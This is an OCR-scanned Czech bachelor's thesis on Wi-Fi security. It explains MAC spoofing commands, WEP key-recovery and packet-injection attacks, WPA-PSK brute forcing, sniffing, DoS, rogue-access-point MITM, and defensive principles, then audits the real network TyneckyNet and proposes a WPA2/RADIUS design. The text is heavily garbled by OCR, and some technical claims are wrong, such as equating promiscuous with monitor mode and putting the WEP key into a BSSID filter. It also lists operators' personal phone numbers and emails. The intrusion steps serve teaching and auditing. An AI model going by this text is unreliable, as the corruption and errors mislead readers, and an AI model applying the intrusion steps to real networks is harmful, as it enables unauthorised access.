
ifconfig ethO hw ether 00:11:22:33:44:55
Zmeéni MAC adresu zafizeni ethO na 00:11:22:33:44:55.

Zadame piikaz:

ifconfig <interface> up
Zatizeni je opét zapnuté. Ovéfime nasledujicim piikazem zda se

MAC zménila spravng.

ifconfig <interface>

4.2 WEP cracking

Jak bylo zminéno v kapitole o zabezpeceni WEP je nejstar§im Sifrovanim pro

Wi-Fi a v dob¢ zavadéni byl postacujici, ale s postupem casu byly objevovany

stale nové slabiny a v dnesni dobé je schopny WEP prolomit i ¢loveék s

zékladnimi védomostmi o bezdratovych sitich.

Hlavnimi nedostatky WEPu jsou:

4.2.1

maly pocet moznych inicializacnich vektori (moznost prolomeni klice

brutalni silou),

Spatné implementovana ochrana proti zméné paketu pii prenosu.

Slaba mista v implementaci

WEP pouzivé proudovy Sifrovaci algoritmus RC4 (viz. kap. 3.3.1 RC4).

Proudova Sifra funguje na principu rozsifeni kratkého klice na pseudo-

nahonahodny kli¢ovaci proud.

Odesilatel zasSifruje svym klicovacim proudem K, s pouZzitim operatoru
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XOR nesifrovany text Ty a ziska Sifrovany text Sy. Pfijemce ma k dispozici
shodnou kopii klice K, - K;;, pomoci néj vygeneruje stejny klicovaci proud
jako odesilatel a aplikaci operatoru XOR na kli¢ovaci proud a Sifrovany text

dostane desifrovany text.

Pouziti tohoto algoritmu déla proudovou S$ifru zranitelnou néckolika
utoky. Jestlize uto¢nik invertuje bit v Sifrovaném textu, potom po deSifrovani,
bude tento bit v deSifrovaném textu také invertovan. Pokud Uto¢nik zachyti
odposlechem dvé zpravy Sifrované stejnym klicovacim proudem, je mozné

ziskat XOR téchto dvou Cistych textl. To samé v matematickém vyjadieni :

K():K]
T, xor Ky = Sy
Tixor K; =8,

Soxor S; = T,xor T}

Neziskdme sice Cisty text zprav, ale znalost tohoto XORu ndm umoziiuje
statistickymi utoky ziskat deSifrovany (Cisty) text téchto zprav. Statistické
utoky se stavaji stale vice u¢innymi ¢im vice Sifrovanych texti pouziva stejny
klicovaci proud. Jakmile se jeden z Cistych textd stane znamym je jednoduché

ziskat 1 ostatni.

Obrazek ¢. 13 WEP ramec (11)

Kazdé¢ zatizeni v bezdratové siti ma podle specifikace definovany 4 klice
(0 az 3). Informace o tom, ktery z nich je aktualn€ pouzivan, je nesena v poli

KeyID, které nésleduje za polem IV (11).

WEP pouzivd ovéteni, zda nebyl paket modifikovan pii prenosu cast
paketu nazyvanou Integrity Check Value (ICV viz. obrazek ¢. 13). Aby se
zabranilo zaSifrovani dvou textll stejnym kli¢ovym proudem, rozsiii se tajny
sdileny kli¢ o inicializacni vektor (IV), poté za predpokladu, ze kazdy paket
dostane jiny IV, algoritmus RC4 vrati jinou hodnotu klicovaciho proudu. IV je
soucasti paketu. Nicméné ob¢ tyto bezpecnostni opatfeni jsou implementovéana

$patné a vysledkem je nizka mira zabezpegeni. Ugelem ICV je rozpoznat, zda
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nebyl paket modifikovan pii pfenosu.

ICV (Integrity Check Value) pole je implementovano jako CRC-32
checksum a je soucasti Sifrované Casti paketu. AvSak CRC-32 je linearni. To
znamena, ze je mozné spocitat rozdily mezi dvéma CRC hodnotami zalozené
na bitovych rozdilech zprav, které jsme zachytili odposlechem. Jinymi slovy,
invertovani jednoho i vice bitll zpravy ma za nasledek zménu hodnoty CRC
souctu, proto musi byt tato hodnota upravena, aby odpovidala modifikovanym
datim. Kontrolni soucet se k datim pfidava, az poté co jsou zaSifrovana.
Hodnota ICV je neSifrovana. Pokud zménime obsah paketu je mozné zménit i

hodnotu CRC, aby byl paket platny.

Inicializacni vektor (IV) je 24-bitova neSifrovand cast paketu,
pseudondhodné generovand pro kazdy paket. Pravé ona ,,pseudondhodnost*
zarucuje, ze po vycerpani vSech moznych hodnot IV, opakovani stejnych IV.
To znamend, ze po ur¢itém Case, se za¢nou pouzivat stejné kliCovaci proudy
(proud vznikne roz$ifenim tajn¢ho klice o IV). Vytizeny pfiistupovy bod
posilajici 1500 bytové pakety rychlosti 11 Mb/s pouzije vSechny IV za 5 hodin
provozu. V praxi bude tento Cas jeSté nizsi, protoze velka ¢ast paketl v siti je
mensi nez 1500 byth. Tento Cas Ize zjistit podle nasledujiciho vzorce:

T=V*8/(r*106) *224
V ..... velikost paketu v bajtech

ro.... rychlost prenosu

T ..... ¢as do pouziti vSech mozZnych IV

Piehledné srovndni ¢asti do vyc€erpani vSech IV u riznych rychlosti uvadi

tabulka €. 6.

Tabulka & 6 Cas do vy&erpani inicializa&nich vektori

Rychlost ptenosu (MB/s) 2 11 | 54 | 108| 2 | 11 | 54 | 108

Velikost paketu (MB) 1,50 {1,50|1,50/1,50|0,50({0,50|0,50 (0,50

Cas do vy&erpani IV (hodiny) [ 27,96 | 5,08 | 1,04 [ 0,52 9,32 [1,69 | 0,35 | 0,17

Pravé pouzivani opakujicich se IV umoziuje ziskat dva a vice zprav
Sifrovanych stejnym kli¢ovacim proudem. Napiiklad karty firmy Lucent

zacinaji po kazdém startu inicializaénim vektorem 0 a skazdym dal§im
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paketem zvySuji hodnotu IV o jedna. Pti pouziti dvou karet Lucent v jedné siti,
které se pfipoji v zhruba stejném case, nam poskytuje dostateCny pocet
koliznich paket (pakety Sifrované stejnym kliCovym proudem) pro pouziti
statistického utoku. S pouzitim vétsSiho mnozstvi karet od stejného vyrobce

v jedné siti se mnozstvi koliznich paket jesté zvySuje.

4.2.2 Ziskani klice pasivnim odposlechem

Prvni Gtok vychazi pfimo zvy$e uvedenych poznatkidl. Utocnik na
vhodném misté, kde je dostateCna sila signalu Wi-Fi sit¢, mize pomoci
odpolouchavaciho softwaru a bezdratové karty prepnuté do monitor modu,
zachytit datovy provoz v této siti. Jakmile se objevi dva pakety pouzivajici
stejny IV, provede se jejich XOR. Tim ziskdme XOR dvou neSifrovanych
zprav. Vysledny XOR Ize pouzit pro odvozeni obsahu téchto zprav. Pfenosy
v poc¢itacovych sitich fungujicich na bazi protokolu IP jsou casto
predpovéditelné a obsahuji mnoho nadbyte¢ného provozu. Tento nadbytek nam
pomuze vyloucit mnoho moznych obsahii ndmi hledanych zprav. Naptiklad
ARP pakety maji danou délku 60 bajti. Kazdy IP paket ma pevné danou
hlavi¢ku (s IP adresou pfijemce, odesilatele a dal§imi Udaji). Znamymi pravidly
o provozu v IP sitich lze statisticky snizit mnozstvi moznych zprav. V
nekterych ptipadech je mozné i urcit presny obsah dvou zachycenych koliznich

paketd.

V ptipadé, ze je statisticka analyza nelspé$nd, mize Uto¢nik cekat na
veétsi mnozstvi koliznich paketti se stejného IV. V kratkém cCase je mozné
objevit slusné mnozsvi Sifrovanych stejnym klicovacim proudem a spéSnost
statistické analyzy prudce stoupd. Jakmile ziskdme obsah zpravy Sifrované
pomoci urcitého IV. Dokazeme deSifrovat i dalsi pakety Sifrované s pouzitim

stejného 1V. Stejny postup opakujeme pro kazdou hodnotu IV.
Dalsi moznosti jak zjistit obsah Sifrovanych zprav je, ze Gto¢nik pouzije
pocita¢ nckde v internetu, aby poslal paket (zpravu) zvenku k zafizeni

v bezdratové siti. Kdyz uto¢nik zachyti Sifrovanou verzi tohoto paketu, zna jeji

obsah, proto mize paket a vSechny ostatni se stejnym IV deSifrovat.
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4.2.3 Ziskani klice injektovanim provozu

Co je to injektovani? Injektovani je vysilani datovych paketl (zprav) do
bezdratové sité, aniz bychom k ni byli pfipojeni. Nasledujici Gtok je disledkem
problémi popisovanych v ¢asti o slabindich WEPu. Piedpokladejme ttocnika,
ktery zna piesné Cisty text jedné zaSifrované zpravy. Diky tomu muze uto¢nik
zkonstruovat svoji spravné zaSifrovanou zpravu. Staci vytvofit novou zpravu,
spocitat jeji CRC-32 a aplikovat ptehozeni biti podle nize uvedeného vzorce
s originalni Sifrovanou zpravou. Tim nahradime data pivodni zpravy nasimi

vlastnimi a hlavné zndmymi daty. Vychazime z nasledujiciho vztahu:

RC4(X) xor X xor Y = RC4(Y)
X ... ptivodni zprava

Y ... nova zprava

Takto vytvofeny paket je mozné poslat do sité, kde bude pfijat jako
platny. S malou modifikaci predchazejiciho postupu lze vytvorit jesté
nahradit vybrané kousky zpravy a znovu nastavit hodnotu CRC souctu. Tim
vznikne platnd Sifrovana zprava. Pokud vime alesponn néco o obsahu
Sifrovaného balicku, ktery chceme zménit, mizeme provést cilenou modifikaci
a tak napfiklad ménit ptikazy ptendsené telnetem nebo SQL piikazy zasilané

databazovému serveru.

4.2.4 Oboustranny utok

Je rozsitenim predchazejiciho utoku pro desifrovani veskerého provozu.
V tomto ptipad¢ utocnik neodhaduje obsah paketu, ale hlavicku paketu. Tato
informace je obvykle snadno zjistitelna nebo uhodnutelna, zvlaste¢ pokud vime,
ze je to IP adresa. M4 totiz dany tvar. Ozbrojen touto znalosti, uto¢nik zméni
cilovou adresu na pocita¢, ktery ma utocnik pod kontrolou a piipojeny na
internet tzv. zombie. Vé&tSina bezdratovych siti ma pfipojeni k internetu.
Pristupovy bod paket deSifruje a posle pies svoje internetové pfipojeni na
zombie pocita¢ utocnika Cisty (neSifrovany) paket. Pro lepsi prichodnost
paket od AP k zombie pocitaci je vhodné na odesilaném paketu prenastavit
cilovy port na néktery ze zndmych a ve firewallech standartné otevienych portl

(napt. 80). Paket poté projde ptes vétSinu firewallu bez obtizi. Zombie pocitac
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musi na stejném portu naslouchat.

4.2.5 Tabulkovy utok

Malé mnozstvi moznych IV dovoluje Utocnikovi vytvoftit deSifrovaci
tabulku. Jakmile se mu podaii zjistit Cisty text nékterého z paketti miize pomoci
algoritmu RC4 spocitat klicovaci proud generovany pouzitym IV. Tento kli¢
muze byt pouZit k deSifrovani vSech dalSich paketl se stejnym IV. V pribéhu
¢asu s vyuzitim vysle uvedenych technik mtze uto¢nik vybudovat tabulku IV a
odpovidajicich klicovacich proudt. K tomu je potieba okolo 15 GB datového
prostoru. Jakmile je tabulka hotova, utocnik muze deSifrovat vSechny pakety

v bezdratové siti. Utoénik ziska tajny kli¢ sité.

4.3 PSK cracking

Jak nazev napovidd budu se zde vénovat zptisobu prolomeni Wi-Fi sité
zabezpeCené WPA/WPA2 v moédu Pre-Shared-Key (PSK). S nastupem WPA
pfisli tocnici o moznost vyuzivat slabin bezpecnostniho algoritmu, které
vyplyvaly zjeho Spatného névrhu. Kontrola integrity ICV byla nahrazena
algoritmem MIC. Ten jiz neumoziiuje zménu zpravy pii prenosu. Algoritmus
TKIP odstranil nedostate¢ny pocet inicializacnich vektorti. Slabé misto spociva
v sdileném tajném klic¢i, ktery znaji vSechny stanice v siti. Sila zabezpeceni sité
spociva v tomto kli¢i. Je-li zvolen Spatny kli¢ je zabezpeceni prolomitelné a to
pomoci utoku ,,hrubou silou®. Jak zvolit spravny kli¢ nebo heslo pojednava

kapitola Politika hesel.
K utoku Ize vyuzit program Aircrack-ng nebo CoWPA(tty.

CoWPALtty je crackovaci program pouzivajici utok hrubou silou. To
znamend ze systematicky zkou$i odhalit heslo zkouSenim rtiznych hesel.
ZjednoduSen¢ feceno zkousi velmi rychle za sebou riizné hesla a pokud narazi
na spravné heslo je vyhrano. Kvalita softwaru pro brutalni toky se hodnoti
v prvni fadé podle rychlosti jakou dokdzi zkouSet hesla. CoWPAtty dokaze

vyzkouset 30-60 hesel za vtefinu a to neni pfili§ mnoho.

V ptipadé, ze chceme zjistit u WPA-PSK minimalni 8 znakové heslo a

budem piedpokladat rychlost zkouSeni 45 hesel za vtefinu. Je moZzné za jeden
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den vyzkouset zhruba 3 880 000 slov. MoZznych kombinaci 8 znakového hesla
je 208 827 064 576. Poté pokud budeme mit takovou smilu, Ze ndmi hledané
heslo bude az to posledni z obrovského poctu vSech moznych budeme ho

hledat vice nez 53710 dni.

4.4 Analyza provozu

V této fazi zname tajny kli¢ a mizeme se do sité ptipojit. Pokud v siti
funguje DHCP server, ptidélujici IP adresy, staci se jiz jen pfipojit a vyuzivat
sluzeb sité. My se budeme zabyvat situaci, kdy DHCP v siti nebézi a je nutné

zjistit dilezité adresy v siti. Jsou to:

e volna IP adresa pro nas pocitac,
e brana,

e DNS server.

K analyze provozu je tieba program Wireshark nebo Ethereal a hlavné
znalost TCP/IP adresovani. Po pfipojeni ksiti je zvolime Ethereal nebo
WireShark a spustime zachytdvani provozu na bezdratové Kkarté.
Nezapomenme zvolit zachytavani v promiskuitnim modu (je to jen jiny nazev
pro monitor mod). Uvidime Sifrovany provoz, ktery nevypada, ze by se z n¢j
dalo néco vycist. Zobrazen je na obrazku ¢. 14 v programu Wireshark. Oba
programy (Wireshark 1 Ethereal) jsou si velmi podobné. V fadku oznaceném
jako filter muzet filtrovat provoz podle urcitych pravidel. Podrobny popis je

nad rdmec tohoto dokumentu, proto podrobnéjsi informace pouzijte help obou

programu. Provoz dekddujeme zadanim filtra¢niho ptikazu:

wlan.bssid == 00:06:B3:XX:XX:XX
Za 00:06:B3:XX:XX:XX doplnime WEP Kkli¢ sité.

Uvidime dekodovany provoz jako na obrazku ¢. 15. v programu
Ethereal. Jak mizeme vidét z obrazkl 14. a 15. , rozhrani obou programi jsou
si velmi podobna a pokud se naucite sjednim nebude vam c¢init problémy

pouzivat i druhy program.
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Obrazek ¢&. 14 Sifrovany datovy provoz v programu WireShark
Pokud je v siti pouzivan NAT usnadni to zjiSténi brany sité. Brana byva
necastéji zobrazena IP adresa. VSechen provoz smérem do internetu je pielozen
na adresu brany a odeslan do internetu. VétSinou byva brana a servery v siti

umistény v prvni desitce IP adres nebo v poslednich.
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Obrizek & 15 DeSifrovany datovy provoz v programu Ethereal

Pokud sit NAT nepouziva, doporucuji zkusit prvni IP v rozsahu

(naptiklad 172.16.10.1 , 192.168.1.1 nebo 10.1.1.1). Rozsah zjistite

z odposlechnutého provozu. Na obrazku €. 15 je rozsah pouzit rozsah tfidy B

(172.16.x.x — 172.32.x.x). Branu lze najit i ptes specifické protokoly. Obvykle

byva na bran¢ instalovan i DNS server, pokud do tadku filter zadate ,,dns*
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Ethereal nebo Wireshark vam zobrazi jen provoz protokolu DNS. Z né&j Ize
vycCist na jaké IP adrese se server nachazi. K témuz se hodi i dalsi protokoly

bézici standartné na serveru pro piiklad DHCP.

Nemensi problém byva s nalezenim volné ip adresy. Kazdy spravce sité
ma v jejich pfidélovani urcity systém, ktery se da rozpoznat ze zachyceného
provozu. Je ovSem mozné, Ze vSechny nepouzité IP adresy jsou nastaveny na
nulovou propustnost. V tomto piipadé nezbyva nic jiného nez pouzit IP
nékterého z nepiipojenych klientl. Pti jeho pfipojeni nastane kolize IP adres a

provoz této IP adresy bude blokovan. Neni to proto nejvhodnéjsi feseni.

4.5 Denial of service (DoS)

Je tutok, jehoz cilem neni ziskat piistup do sit¢ spravované cilovym
zafizenim, ale vytadit toto zafizeni z provozu a tim znemoZznit uzivatelim
vyuzivat jeho sluzby. Utok spocivd v zahlceni cilového zafizeni provozem.

DoS se casto pouziva v kombinaci s Man-in-the-Midle utokem.

V bezdratovych sitich je titok namiten proti pfistupovému bodu. Zahlceni
pristupového bodu muze byt provedeno, dvéma zpisoby. Prvni vypliva uz
z podstaty samotné bezdratové technologie a neni mozné ho pouzit
v kabelovych sitich. Je jim zaruseni (tzv. Jamming) frekvence ptistupového
bodu. Do dosahu AP se pfida dalsi zafizeni vysilajici na stejné frekvenci. Tim
se jeho signal stane pro vSechny pfipojena zafizeni neslySitelny nebo
nesrozumitelny. Tento zpiisob je pouzitelny i v ptipadé, ze je sit’ Sifrovdna a
toénik nema do sit& pristup. Utok probih4 na fyzické vrstvé modelu TCP/IP.
Podobny, ale zakein&jsi, utok spoliva v napadeni procedury CCA’ (Clear
Channel Assesment) zjistujici, zda je volny kanal pro vysilani. Utoénik stale
vysila na stejné frekvenci (kanalu) jako AP. Ptistupovy bod nezacne vysilat,

protoze procedurou CCA detekuje vysilani Gito¢nika.

Obrana proti prvnimu druhu toku je velmi tézko realizovatelnd, protoze

utok probihd na fyzické vrstvé modely TCP/IP. Pokud ze serveru odpojite

? snizuje mnozstvi chyb pii prenosu zptisobenych dvéma zaroven vysilajicimi zafizenimi
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Ethernetovy kabel, bude ze sit¢ nedostupny. Analogicky v bezdratovych sitich,
pokud pftistupovému bodu zarusime frekvenci na které vysild nema médium a
vysledek bude stejny jako u onoho serveru s vytazenym kabelem. Pomuze

zména frekvence (kanélu) na které AP vysila.

Druhy zpiisob je univerzalni. Lze ho vyuzit na riiznych pienosovych
technologiich (Ethernet, FrameRelay, Wi-Fi, atd.) vyuzivajici protokoly
TCP/IP. Utoénik zalne napadenému zaiizeni posilat velmi rychle mnoho
pozadavkl. Zatfizeni po ur¢itém Case napor pozadavkil nezvladdne (naplni se
buffer) a prestane odpovidat na vSechny dalsi pozadavky. U nékterych starSich
AP je mozné, ze dojde kjejich ,,zatuhnuti“. K tomu lze vyuzit naptiklad
protokol /CMP, UDP a dalsi. Tento zplsob pracuje na sitové vrstvé modelu
TCP/IP.

Proti druhému zpisobu DoS, tedy utoku zahlceni pozadavky,
implementuje v dneSni dobé vétSina vyrobci obranné mechanismy. Jejich
cilem je zablokovat adresu Uto¢nikova pocitace, pokud se o DoS pokusi. Jak
bylo zminéno vyse lze k aplikaci DoS vyuzit téméf jakykoli pozadavek, proto
zustava problémem tUroven rozpoznavani DoS tutoku. Proto doporucuji zvolit
pristupovy bod od renomovaného vyrobce, ktery zaruCuje vysokou tUroven

bezpecnosti. Spickou v oboru jsou zafizeni firmy Cisco.

4.6 Man-in-the-Middle (MITM)

Jak nazev napovida jedna se o ,,muze uprostied”. Utoénik je schopen
zachytit, vlozit a modifikovat zprdvy mezi dvéma komunikujicimi stranami,
aniz by o tom védéli. MITM je mozné pouzit proti sitim vyuzivajicich
ovéfovani pomoci vefejnych kli¢t. Utoénik nejdiive DoS utokem vytadi
z provozu piistupovy bod sité¢ a poté vytvoii faleSny ptistupovy bod se stejnym
SSID a Sifrovanim jako vyfazeny. UZivatel se pfipoji k faleSnému
pfistupovému bodu a zadd své piihlaSovaci tdaje pro piihlaseni do sité.
Prihlaseni bude neuspésné, ale utocnik ziskal piihlasovaci udaje do pravé
bezdratové sité. Obranou proti tomuto utoku je kontrola, zda je pro ného
autorizacni server divéryhodny, ptes -certifikaty podepsané certifikacni

autoritou.
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6 Zasady zabezpeceni

Vys8i pozadavky na zabezpe€eni jsou obvykle kladeny na firemni sité
nez na sit¢ domaci, proto se zabezpec€eni firemnich siti budeme vénovat vice do
hloubky dale v textu. Nize jmenované zasady jsou dostacujici pro domaci sit,
kde v sitich piredpokladam vyuziti WPA2 nebo WPA v modu PSK (sdileny

kli¢). Nyni uvadim zékladni zasady zabezpeceni kazdé bezdratove sité.

e Pravidelna aktualizace firmware ptistupovych bodi

e Pouziti 802.111 v pfipadné starSich AP alespon WPA

e Zmeéna defaultniho SSID

e ZiuSeni vysilani SSID

e Filtrace MAC adres

e Pouzivat firewall k oddéleni Wi-Fi ¢asti od kabelové ¢asti
e Zmeéna hesel k administraci AP

e Fyzickd bezpecnost ptistupovych boda

¢ Hodiny na vypinani/zapinani AP

e Pouzivat HTTPS, SSH

e Pouzit 802.11X s vzdjemnym ovéfovanim klienta a AP

6.1 Firemni sité

Pro firemni sit’ je téméf nezbytné vyuzit autentizacni server v kombinaci
s WPA2 v piipadé, Ze nckteré AP WPA2 nepodporuji lze pouzit WPA.
Dtrazné, ale doporucuji WPA2. Jehoz plnou implementaci vznikne Robust
Security Network (RSN), jejiz prolomeni je krajné¢ nepravdépodobné. Dobie

zabezpecena firemni bezdratova sit’ by méla spliiovat i nasledujici body.

e Monitorovani ptistupovych bodi
0 Neéktery zuzivatell si miize spustit vlastni nezabezpeCeny
pfistupovy bod
e Autentizacni server
e Pokryté oblast
0 Minimalizace pfesahu

0 Sektorové a smérové antény
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e Bezdratova zéna

0 Odd¢leni bezdratové ¢asti od pevné Casti sité firewallem
e Vypnuté DHCP
e VPN

Vétsing bezdratovych siti neni mozné z riznych diivodi implementovat
vSechny vySe jmenované body (napi. vyuzivani SSID pro reklamni ucely).
VPN lze pouzit pokud vyZadujete maximalni bezpecnost pro vase pfendSena

data.

V bezdratové siti mize nastat jeden zdvazny problém - naruSitel na
vhodné misto umisti sviij ptistupovy bod (v€etné autorizacniho serveru), ktery
bude téz vysilat SSID nasi sit¢ (itok Man-in-the-Middle). Uzivatelé se k nému
zkusi piihlésit, to se sice nepodafi, ale narusSitel z pokusu ziska uzivatelské

jméno a heslo. Aby se tomuto zabranilo, provadi se dva kroky (18):

1) Uzivatelé musi na svém zafizeni/notebooku nastavit rucné¢ néckteré
parametry spojeni (pouziti konkrétnich protokoll pro jednotlivé casti
ptipojeni)(18).

2) Uzivatel by mél kontrolovat, zda autoriza¢ni server je pro ncho
davéryhodny. Zde se vyuzivaji zkuSenosti s certifikaty a certifikacnimi
autoritami - pii vytvoreni Sifrovaného 802.1x tunelu mezi zafizenim a
autorizacnim serverem posild autorizacni server zpét svlj certifikat
podepsany certifikacni autoritou. V konfiguraci na notebooku lze
nastavit, ze se pii pfipojeni bude divéfovat pouze autorizacnim
serverum se certifikdtem podepsanym od urcené certifikacni autority

(18).
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6.2 Politika hesel

Bezpetné heslo musi spliiovat n€kolik pozadavku, aby nebylo mozné ho
prolomit nékterym z Gtoki zaméfenych pravé na ziskani hesla. Tyto utoky
vyuzivaji bud’ ,hrubou silu“, kdy se snazi ziskat heslo zkouSenim vsSech
moznych kombinaci znaki a &isel'®. Tento utok je pouZitelny na hesla o
maximalné¢ 6 znacich. Dal§im druhem je slovnikovy utok, kdy ma uto¢nik
k dispozici seznam slov (Casto desitky tisic) nékterého z jazykid a tyto slova

zkousi jako heslo. Pfedpoklady bezpecného hesla jsou nasledujici:

e délka minimalné 8 znakl (u sdilenych klict doporucuji minimalné 16

znaki),

e heslo musi obsahovat velkd 1 mald pismena, ¢isla nebo 1 zvlasStni

symboly. Nesmi obsahovat slovnikové vyrazy (slova),
e heslo vygenerovat ndhodné pomoci generatoru ndhodnych hesel,

e Vymyslet heslo s pouzitim mnemotechnickych pomiicek. Vymysleme
vetu, ktera se bude dobie pamatovat, napi: "Mam velkého bilého psa
ktery se jmenuje Adam". Prvni pismena slov véty poslouzi jako
heslo - obdrzime "mvbpksja". Heslo lze jesté¢ vylepsit tak, ze malé
pismeno "v" se nahradi velkym (protoze pes je velky) a stejn¢ tak malé
"a" se nahradi velkym ,,A“, protoze jména piSeme s pocatecnim velkym

pismenem. Nakonec tedy obdrzime fetézec "mVbpksjA" (19).

K tvorbé hesla lze vyuzit generatory hesel'' dostupné zdarma na internetu.

'% Ize nastavit znaky, které se maji zkouset napt. mala a velka pismena a &isla
" napiiklad program ¢esky freeware program Generétor nyni dostupny ve verzi 1.1
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Prakticka cast

7  Audit Wi-Fi sité TyneckyNet

Mozna jste si polozili otdzku co se pod tim trochu tajemnym nadpisem
skryva, proto zde ve stru¢nosti naznac¢im, co v mé praktické ¢asti bakalaiské
prace najdete a samozfejmé se zminim i o tom, co zde nenajdete. Mym
tématem je zabezpeceni bezdratové sit¢ a tomu se také budu vénovat. Jsem si
védom, ze zpusobl jak se dostat do cizi sit¢ je mnohem vice (tunelovéni,
trojské koné¢ a jiné), ale budu se vénovat pouze zpusobum, které souviseji
s technologii Wi-Fi. PoukaZzi na slabé stranky Wi-Fi sit¢ TyneckyNet a zptlisob
jak jeji zabezpeceni prolomit. Nasledné¢ navrhnu nové zabezpeceni, které je
témé&t'* neprolomitelné. Avsak pii implementaci dojde k uréitym zménam a
kompromistim. Je nutné brat ohledy na kompaktibilitu nového zabezpeceni se
stavajicimi zafizenimi v siti, finan¢ni naroc¢nosti a hlavné na pohodli uzivateld.
Soucasti dohody s provozovateli sit¢ TyneckyNet Jifim Pankem a Vladimirem
Louvarem je, Ze v této praci nebudou zvefejnény zadné udaje, které by mohl
nékdo zneuzit k neopravnénému pristupu k siti. Jde hlavné o tajné klice, hesla a
dulezité IP adresy v siti (vefejna IP a IP dalezitych prvki sit€). Tyto informace
zde nenajdete. Pfevazné i1 proto je vétSina prakticky provadénych postupt

psana formou navodu. Kazdy si tak mize ovéfit jejich funkénost v praxi.

7.1 TyneckyNet

V prvni ¢asti se podivejme jak je zabezpeCena komerc¢ni sit, ktera, jak
nazev napovidd, ma centrum v Tynci nad Labem. Nékdo by mohl namitnout,
ze bezdratova sit mize mit center vice a to podle toho co se povazuje za
centrum, zda je to pateini pfipojeni k internetu nebo server monitorujici stav

sit¢ a dal§i. Za centrum je oznafen Tynec, protoze zde byla sit’ zalozena a

13

12 témé je zde protoze difve nebo pozdéji se najde zpisob, jak dnes zcela bezpedené
zabezpeceni prolomit. V zavésu se objevi nové zabezpeceni, které bude opét néjaky Cas
neprolomitelné. Poté se cely cyklus bude opakovat. Na viné je, podle mého nazoru, rychly
rozvoj informacnich technologii jako celku.
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odtud se také rozsituje. Jak jinak, nez vzduchem pomoci Wi-Fi technologie.
Utelem sité je poskytovani internetu domécnostem i firmam. Nejedna se o
malou sit’ pokryvajici jen Tynec, ale o rozséhlou sit’ pokryvajici Kolin, Bozec,
LzZovice, Radovesnice, Vinafice, Veletov, Uhlifskou Lhotu, Zabofi nad Labem,
Bélusice, Tii Dvory, Jestiabi Lhotu, Krakovany, Veltruby, Konarovice,

Ovcary, Némcice, HradiStko I a okoli vSech jmenovanych.

7.1.1 Kontaktni informace

web: www.tynecky.net

Vladimir Louvar Jifi Panek
louvar(@seznam.cz info@tynecky.net
mob. 605 173 421 tel. 321 711 436

mob. 775 120 886
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7.1.2 Topologie a zarizeni

Topologii sit¢ zobrazuje obrazek €. 16. Bod uprostied, z kterého vede

nejvice spojii je Tynec nad Labem. Spoje mezi jednotlivymi lokalitami jsou

v pasmu 5 GHz (standart 802.11a). Koncovy uzivatelé jsou pfipojeni v pasmu

2,4 GHz. Vétsinou standartem 802.11b (11 MB/s). Nékolik AP s velkym

poctem piipojenych uZivateld pouziva standart 802.11g (54 MB/s).
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Obrazek ¢. 16 Topologie Wi-Fi sité TyneckyNet

Hlavnimi zafizenimi pouzitymi v siti jsou routerboardy Mikrotik".

B www.mikrotik.com
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Routerboardy obsahuji operacni systém zalozeny na bazi OS Linux, vhodny
zejména pro bezdratové spoje a jako bezpecny HW firewall poptipadé router se
snadnou GUI konfiguraci. Komunikace s routerboardy Mikrotik se v
soucasnosti provadi zejména pies GUI Winbox, ale dale lze pouzit ssh, telnet
nebo sériovou konzoli. Dnes je tento OS zejména uplatnovdn u kvalitnich

bezdratovych spoji 802.11a a 802.11b/g (Wi-F1)(3).

Tam kde vypocetni nebo prenosova kapacita routerboardli nestiha
mnozsvi dat pfes né prochéazejici jsou nahrazeny pocitaci s OS Linux. Sit

pouziva statické IP adresovani.

7.1.3 Zabezpeceni

Patefni 1 koncové spoje chrani pfed neatorizovanym piistupem 128
bitovy WEP (ve skutecnosti jen 104 bitd 24 bitd pouzito pro IV). MAC
restriction neni implementovana. TyneckyNet pouziva SSID z davodu

reklamy.

Aktualni zabezpeceni neposkytuje dostaCujici Groven ochrany. Slabé
misto je v pouzitém Sifrovacim algoritmu WEP. Hlavni slabinou je sdileny
kli¢, ktery je mozné ziskat nékolika zplsoby. At jiz prolomenim nékterou

z vyse popsanych metod nebo prostym prozrazenim kli¢e nékterym z uzivatelt

sité.
Nevyhody
e Nebezpeci prozrazeni klice
e Nebezpeci prolomeni klice
e Problematickd zména klice - WEP kli¢ je nutné zménit na vSech
zatizenich pfipojenych k AP)
e Zadné prihlaovaci udaje - rozliSeni klientdl pouze na béazi IP a
MAC adres v routovacich a mangle tabulkach
e Uzivatelé jsou vazani na jeden konkrétni ptistupovy bod
Vyhody

e Jednoduché pro spravu
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7.2 Navrh nového zabezpeceni pro TyneckyNet

Néavrh nového zabezpeceni pocitd simplementaci 802.11X (WPA2)
protokolu s autentizacnim serverem RADIUS a autentizaci protokolem TLS.
Autentiza¢ni server lze implementovat na Mikrotik routerboard, ale protoze,
Zadny z routerboardll pouzitych v siti neni vytiZen na méné nez 60% v dobé
Spicky, je pravdépodopné, ze by byl ptetizen pozadavky na ovéteni od vsech
klientd v siti. Proto jsem zvolil variantu samotného pocitace jako serveru.
K tomu byl pouzit pocita¢ Pentium III (1,2 GHz, 512 MB RAM) s opera¢nim
systtmem Ubuntu 6.10', ktery je do sité pfipojen pres 100 MB rozhrani
routerboardu v Tynci nad Labem. Nasledujici umisténi bylo zvoleno, protoze
se nachazi uprostied sit¢ odkud vedou pateini 54MB/s piimé patetni spoje do
vetSiny Casti sité, jsou zde vhodné prostory a je zde a na okolnich zafizenich
pfipojeno nejvetsi mnozstvi uzivateld.

Reseni pocita s ulozenim uZivatelskych dat (pfihlasovaci jméno, heslo,
IP, MAC, aj.) v SQL databdzi bézici na stejném serveru. Uzivatelskd data
v SQL se mohou dale vyuzit pro dalsi ucely. Naptiklad zobrazeni na webu, kde
by uZivatelé sit€¢ po zadani svych ptihlaSovacich tdaji (stejnych jako do site)
nalezli informace o svém uctu (pocet prenesenych dat, doba ptipojeni, rychlost
ptipojeni, faktura¢ni udaje, aj.). Dalsi vyhodou by byla mobilita uzivateli.
V nynéjSim stavu pii statickém IP adresovani se uzivatel mize pfipojit jen u
svého domovského ptistupového bodu. Pokud by se na routerboardech pftitadil
uréity pocet IP adres spravovanych DHCP protokolem (napft. v jiné podsiti)
mohli by se uzivatelé piipojit k internetu z kteréhokoli pfistupového bodu.
Bylo by jim automaticky pfifazena rychlost, kterou si zaplatili (zjisténa z SQL

databaze).
Proces piihlaseni uzivatele

1) Klient se pfipoji do sit¢ a zadd své prtihlasovaci udaje ty se

zabezpecenym kanalem pienesou k AP.

14 distribuce OS Linux
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2) AP opét zabezpeCenym kanadlem pozada o ovéfeni autentizacni server.
3) Server porovna zadané piihlasSovaci udaje s Gdaji v databazi a stejnym

zpusobem odesle vysledek ovéteni (Uspésny/neuspesny).

